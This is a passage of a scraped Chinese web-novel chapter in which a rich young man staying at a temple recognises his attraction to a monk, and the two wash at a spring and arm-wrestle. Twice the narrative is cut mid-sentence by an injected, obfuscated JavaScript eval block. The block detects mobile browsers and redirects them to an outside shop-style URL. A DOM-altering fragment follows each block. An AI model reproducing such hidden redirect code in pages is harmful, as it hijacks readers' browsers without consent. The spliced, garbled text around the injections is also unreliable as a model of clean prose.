“从哪儿跌倒就从哪里爬起来吧,我不会跟你说‘没什么大不了’,你肯定是遇到困难了,但现实无非是‘熬过去’,烧香拜佛求个心理慰藉全凭自愿,主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395470|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动权在你,没人逼你。” “我不缺钱,可我的处境不比你好多少,这世上没有谁是天天都能好过的,每个人总有能被人理解、或者不能被人理解的难处。”程觅道,“我会给你钱,不是因为我想帮你,更不想当什么老好人,是我知道人在低谷的时候是真的不好过。” “看你的穿着打扮,你是个体面人,能干出这么不体面的事儿,肯定是走投无路了,才会出此下策,想要回来点儿钱。” “快走吧,别让更多的人看到你落魄的样子。” 用品店外的人群散了,沈岸寻是从后门进来的,他看了半场热闹,从程觅让男人签字画押的时候开始。 “哎哟,真是谢谢你了小伙子。”售货员再次走出柜台,颇为欣慰地看着程觅,表情仿佛在说“后生可畏”。 程觅回道:“这有什么可谢的,兔子急了会咬人,人都有难处么。” “你家是不是很有钱啊?”售货员问,“我看你花钱大手大脚的,给人一千块钱都不眨眼,阔少爷哦。” 程觅苦笑着说:“是啊,我很有钱啊,浑身上下只剩下钱,其他什么都没有了。” 话音落下,程觅看见了沈岸寻,双手往兜里一插,晃晃悠悠地朝他挪了过去。 “小师父。”程觅的笑容刚扬起来,顿时一滞,“坏了,我的饭菜都凉了!” 食物不能浪费,况且自己还没吃饱呢,程觅朝沈岸寻一挥手,回到吃斋饭的地方解决了剩下的午饭。之后又是一下午如常的学习,太阳很快落山,天色暗下去时,程觅合上书本,拎起领口闻了闻自己的上衣,打算换一件新的洗一下旧的。 端着盆往水池那边走时,沈岸寻回来了,程觅扬了下手里的盆,示意自己正要去洗衣服。这些天洗了几次衣服,大少爷对这件事有些得心应手了,他洗得很快,搓出了很多泡沫,水换了两盆,把衣服彻底洗干净了。 手也洗干净了,程觅接住一捧水抹了把脸,随意往旁边甩了甩脑袋。刘海沾湿了,晶莹的水珠缀在发尾,夕阳把他的皮肤染上了一层淡淡的红,余光中,程觅瞥见沈岸寻正等在自己身后,并没有进屋。 扔下衣服和盆,程觅快步走过去,忙问:“怎么了小师父,你在等我吗?” 他站在沈岸寻面前,定睛瞧着人,瞧了一会儿,肩膀稍稍往下低了低,因走路太快而急促的呼吸稍微变得平稳了一些。 沈岸寻没回话,也没离开,只是看着程觅。那种说不上来的感觉又出现了,程觅还是觉得自己实在接不住沈岸寻的目光,但也没躲。 程觅又一次问:“怎么啦?” 等了一会儿,沈岸寻垂下眼,又抬起来:“程觅。” “哎!”程觅弯起眼角,“我在呢。” 沈岸寻面色温和地说:“谢谢。” 唇角蕴着淡淡的笑意,眉眼线条带着柔软的弧度,夕阳最后的余红染在沈岸寻身上,将他的表情描摹得更加温柔。 后背毫无征兆地突然发烫,电流似的酸麻感游遍全身,程觅的心跳乱了一拍,喉结不自觉上下动了动,唇齿微张着,却没发出声音。 他终于看见了沈岸寻的笑容。 太阳躲进山里,橙红的天色替换上了黛蓝。四周的光线又暗下去几分,程觅哑巴了,沈岸寻问:“衣服洗完了?” “嗯?哦,对。”抬手无措地抓了抓后脑勺,程觅往木屋的方向迈开步子,“洗完了,洗完了。” 逃跑似的走了两步,他才顿住脚,忘记拿盆和衣服了,于是掉头往回走向水池,嘴上又说了一遍:“洗完了,洗完了。” 26.第26章 正文026 程觅确定自己是同性恋,当然也确定什么样的同性是长在自己的审美点上的。 沈岸寻就长在他的审美上。 知道自己是同性恋,多亏了逯卓非要给他介绍女朋友。那天程觅陪女孩子玩儿了一整天,浑身难受了一整天,虽说是去的游乐园,虽说坐了“大摆锤”晕得死去活来,虽说早上起晚了没来得及吃饭饿得眼冒金星,但他想吐并不是因为这些原因。 是真正的生理性不适。 回家后,程觅回信息拒绝了女孩子,开始研究自己的感情。他看了很多男男女女的片子,不至于说无动于衷,但至少也没太兴奋。 程觅当时只是认为自己可能还没到该谈恋爱的年纪,结果好巧不巧,有色网站弹窗出来一个同性影片观看网址,他就这么毫无防备、鬼使神差地点了进去,面红耳赤了一晚上。 拖着疲惫的身体得出自己是同性恋的结论,吓得他躲在家里三天没出门。程觅十分强烈地需要倾诉,需要安慰,需要被理解,所以当他无比焦虑地告诉逯卓这个事实之后,逯卓表现得比他淡定多了。 逯卓就问了一个问题:“你是怎么看待我的。” 程觅回答:“咱俩是穿过同一片尿不湿的关系,我就算再弯,也弯不到你那儿去。” 逯卓说:“那在我这儿就是无事发生,咱俩必须是最好的兄弟,一辈子的那种。” 不必在逯卓这里伪装,程觅内心舒坦不少,外界怎么评价他都无所谓,没吓跑自己的兄弟就行,就如逯卓所说,全当无事发生。学照上,饭照吃,只是别人都想谈恋爱,都在谈恋爱,程觅的恋爱这辈子能不能谈上委实是个未知数。 就算喜欢上了一个人,一个男人,该怎么表白怎么追,光是想想就够让他头疼的。 不过,沈岸寻却不会让程觅头疼。 程觅对沈岸寻有好感,这是他自己心知肚明的,十八岁的人了,喜欢谁不喜欢谁一清二楚。但他不用避讳这种好感,甚至还可以大大方方地接触——因为沈岸寻是个出家人,这辈子不可能入红尘,如果一件事从一开始就能确定绝对没有任何可能性,没有任何结果,程觅也就不会费劲巴拉地动心思了。 因此他只是单纯地认为沈岸寻长得好看,长得非常合他眼光,长得随时随看都觉得养眼,多看几眼也无妨。 只是前几天还信誓旦旦地跟逯卓说,对沈岸寻绝不会产生半点杂念,这打脸来得实在太快,着实出乎程觅的意料。 为什么会过分在意沈岸寻对自己的看法,如此一来,也就能解释得通了。程觅想,毕竟谁不希望自己稀罕的人也能对自己有好感呢? 盯着正在打坐的沈岸寻剖析完自己对他的感情,程觅释然地往床上一躺,那种安全感又从心底蔓延了出来。有一个与世隔绝的地方,有一个体贴入微的人,愿意收留他、照顾他——沈岸寻是程觅的避风港,而程觅当下最想要的就是这些。 又或许,这种好感并非纯粹的喜欢,而是符合这段时间心境的一种依赖。 反正要出国,反正沈岸寻是个僧人,没可能的事,那就好好享受作为朋友相处的过程吧。 被安全感包裹着进入梦乡,连这次做的梦都是五彩斑斓的,程觅醒来得有些晚,他先看了眼手机,电量低,充上电之后准备出门洗漱,然而到了水池前,拧动水龙头,却发现没水出来。 程觅再一次确认:“不会吧,停水了?” 是不是只有这个水池没水了,没法刷牙,程觅从裤兜里掏出一颗薄荷糖扔进嘴里,迈着懒洋洋的步伐走向檀赞寺后门。 公共厕所的水龙头也没水,男女厕所门上挂着“停水”的标牌,程觅撩开门帘走到外面,左看右看,抬手拦下一位正端着盆步履匆匆的僧人。 “师父,寺里停水了?哪儿还能用水啊?” 僧人先道一声“阿弥陀佛”:“施主稍等下,空眀师兄已经请人来维修水管了。” 程觅不好意思地说:“如果等不了呢?我受不了我这大油脸了,得赶紧洗一下。” “我记得你是空觉师弟的朋友吧?”僧人指着后山道,“你从后门出去,再往后山上走两百米,沿着台阶路走,不要走土岔路,那里有一条山泉,空觉正用那边的水清洗碗具。” 程觅一听,开心了:“好嘞,谢谢师父。” 檀赞寺后门正对面的山林中间有一条窄径,虽然路面狭窄,只能勉强通过一人,却也修建了台阶。一直顺着脚下的台阶走,路程约莫五六分钟,视野豁然开朗,一条山泉出现在眼前,不算长,不算宽,水也算不上特别清澈。 沈岸寻正坐在小板凳上弯腰洗碗,身旁放着大木盆,洗干净的碗在地上摆开,借阳光晒干里面的水渍。 程觅小跑过去,绕到沈岸寻身前,打了个招呼:“嗨。” 听得出是程觅的声音,沈岸寻没抬头,伸手把木盆推给程觅,里面盛着他刚打上来的泉水。 什么意思?这是……专门为我打的水吗? “太贴心了。”嚼碎薄荷糖,程觅蹲下身不拘小节地捧起泉水先漱了个口,再洗脸,他没带洗面奶,没想着再回去拿一趟,用的是沈岸寻洗碗的洗涤灵——这位尊贵的少爷不想在他的小师父面前表现出事儿很多的样子。 洗漱完毕,程觅把水倒进旁边的树丛中,跑到泉水边重新舀了一盆,还给沈岸寻。蹲在一旁看沈岸寻洗碗,看晶莹的水珠从对方胳膊上顺畅地滑落,程觅不禁在心里“啧”了一声:这么好看的手用来洗碗,暴殄天物啊。 太阳烤得背上直冒汗,程觅仔细审视了一番沈岸寻,这人身处暴晒的阳光中这么久,竟然没出汗。阴凉处离沈岸寻太远,程觅又不想一直晒在太阳下,思来想去,他盯上了这条细长清凉的山泉。 程觅问:“小师父,山泉下面有人用水吗?” 沈岸寻回答:“没有。” 程觅确认道:“要用山泉水只有在这里能用对吧?” 沈岸寻:“对。” 程觅继续问:“那我能进水里玩儿会儿吗?” 沈岸寻说:“随你。” 兴冲冲地脱掉鞋子,程觅一脚踏进山泉水中,凉意刺骨,爽翻天了。泉水只没过程觅的小腿肚子,没到膝盖,踩着水中细小的沙土,脚趾碾着滑溜溜的苔藓,程觅踢了两下水,弯腰又把胳膊伸入水中。 “小师父,太凉快了,你洗完碗没?”程觅邀请道,“你也下来玩儿会儿呗。” 刚好,沈岸寻洗完最后一只碗,摆到空地上,坐直身子看向程觅,却没应声。 程觅朝前方泼去一捧水:“你和你的师兄们是不是经常来这里玩儿啊?” 沈岸寻回道:“偶尔。” 程觅问:“那你下过水吗?” 沈岸寻:“偶尔。” 程觅道:“今天能‘偶尔’一次吗?” 沈岸寻:“……” 沈岸寻没打算下水,他本想洗完碗就回寺里诵经的。他没动,只是看着程觅,程觅自顾自拍水玩乐,没一会儿,大少爷新鲜感过去了,也就玩儿腻了。 “走吧。”朝沈岸寻伸过去手,程觅笑着说,“小师父,劳烦你拉我一把。” 沈岸寻闻声照做,抓住的却是程觅的手腕。 “咦?” 老掉牙的套路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399687|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程觅本想趁机拉沈岸寻下水,不料沈岸寻比他更聪明,稍一用力就把程觅从水中拉了出来。程觅光脚上岸,瞪着自己的脚丫子眨了眨眼,然后回头去看沈岸寻,眼里满是不可思议。 “你劲儿怎么这么大?”程觅吃惊道,“我吃得比你多多了,怎么感觉跟你一比,我好像是只弱鸡啊。” 倒掉盆里的水,把洗干净的碗整齐地码放进去,沈岸寻正要走,程觅当即拦住他,少年人的好胜心起来了:“等会儿再走,我得验证一下。” 目光搜索四周,不远处的泉边有一块平整的大石头,程觅冲它一歪头:“跟我比试比试。” 他知道沈岸寻不会回话,也不会拒绝,所以自己先一步迈过去,盘腿坐下来,两只手拍着光滑的石头表面。 程觅表情挑衅:“掰手腕儿,会吧?” 手肘抵住石头,程觅伸出右手,等了能有半分钟,沈岸寻的右手才伸过来。两人掌心贴合,虎口/交叉,握住沈岸寻的手,程觅的第一感觉是……好细腻的皮肤…… “准备好了吗?”程觅望向沈岸寻,调整好姿势,说,“来了啊,三、二、一!” 一秒惨败。 程觅:“……” “不至于吧?!”拧起眉毛,程觅郁闷道,“我真的这么菜吗?再来!” 还是一秒惨败。 两个回合就让程觅暴汗了,大少爷有些无地自容,却固执道:“再来!” 仍然是一秒惨败。 “不应该啊,我这输得也太没面子了!”程觅不甘示弱,“最后来一次!” 这次倒是持久了一点,明显是沈岸寻放水了。输了之后的程觅趴倒在石头上,哭丧着脸,认命地唉声叹气。 他忘记松开沈岸寻的手了。 沈岸寻偏头看着两人握在一起的手。 趴在石头上,埋着脸,程觅假哭了几声,忽然收住声音:“小师父。” 沈岸寻依旧没有挪开视线。 “我一直想问你,那些来寺庙拜佛的苦命人,都是经历了世间坎坷,受了一身的伤,才来这里寻求慰藉的,或者说,是寻求内心的出路的。” “念佛、拜佛,扫除心中疾苦,佛学大多是起这样的作用,帮助人们脱离苦海。” “你经历过苦海吗?” 听见这句话,沈岸寻的眉心动了一下。 “你有烦恼吗?你被烦恼折磨过吗?”程觅闷着脸,嗓音低沉道,“我不知道你的过去是什么样子的,可是如果你从小就在寺庙长大,每天的生活都是按部就班的那一套,你没有过痛苦,没有经历过磨难,没有消极的情绪,那佛祖对你的帮助是什么呢?” “你念佛是为了什么?修佛又是为了什么?”程觅问,“还是说,我太肤浅了,有的人或许生来就是要成佛的。” 沈岸寻依然在看握住自己的那只手,程觅的手。 程觅没再出声了,这时他才意识到自己的行为逾矩了,这些话不应该由他来说,而他说出来的原因,他也不敢往深了细想…… 方才有那么一刻,程觅心中没来由地油生出一种难以抗拒的冲动——他想把沈岸寻拉进人间,有他在的人间。 这种冲动发生在程觅握住沈岸寻右手的那一瞬间。 一个趴着,一个坐着,一个闷着脸,一个偏着头,两个人还是谁都没有松开手。背上的汗快要蒸发干了,程觅自知自己不该再多嘴,此时他最应该松手走人,大大咧咧地开着玩笑,把这一页翻过去。 可他还是没控制住。 有的人或许生来就是要成佛的。 程觅最后问道:“可你是这种人吗?”